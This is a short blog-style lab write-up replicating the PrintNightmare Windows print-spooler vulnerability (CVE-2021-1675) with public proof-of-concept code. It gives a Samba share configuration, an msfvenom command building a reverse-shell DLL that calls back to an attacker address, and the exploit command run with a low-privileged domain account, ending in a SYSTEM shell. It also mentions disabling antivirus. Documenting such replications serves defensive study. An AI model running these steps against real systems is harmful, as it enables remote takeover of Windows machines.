I am not an exploit developer but was interested to see how this vulnerability can be exploited. So i tried to replicate the infamous PrintNightmare vulnerability using the following PoCs (https://github.com/cube0x0/CVE-2021-1675) and (https://github.com/rapid7/metasploit-framework/pull/15385)
So i tried the second PoC from cube0x0. This one has done the magic. I just followed the guidelines with couple of tweaks.
First of all, i installed the impacket (cube0x0 version) which will install the required modules and files.
After that i set up a samba share with an anonymous login. This is required for hosting the dll file. I edited the smb.conf with the following settings.
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[public]
comment = Samba
path = /var/public
guest ok = yes
read only = no
browsable = yes
force user = root
Then i created the dll which is required to perform the exploit.The dll file is further called remotely while we execute our exploit script.
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll
Then i used the exploit to perform the PoC using a low privileged domain user.
#python3 CVE-2021-1675.py jaacostan.local/bob:Pass123@192.168.0.251 '\\192.168.0.106\\public\\rev.dll'
And that's it, i got the reverse-shell with the elevated privileges (nt authority\system).
Couple of things i did, i disabled the Defender. Since i used msfvenom to create the dll, the antivirus detects it as malicious and they delete it. Also, though the python script threw some error, i was able to get the reverse shell.I found the following image in my twitter feed. This make sense of the vulnerability and it's impact.
- https://github.com/cube0x0/CVE-2021-1675
- https://github.com/rapid7/metasploit-framework/pull/15385
- https://github.com/calebstewart/CVE-2021-1675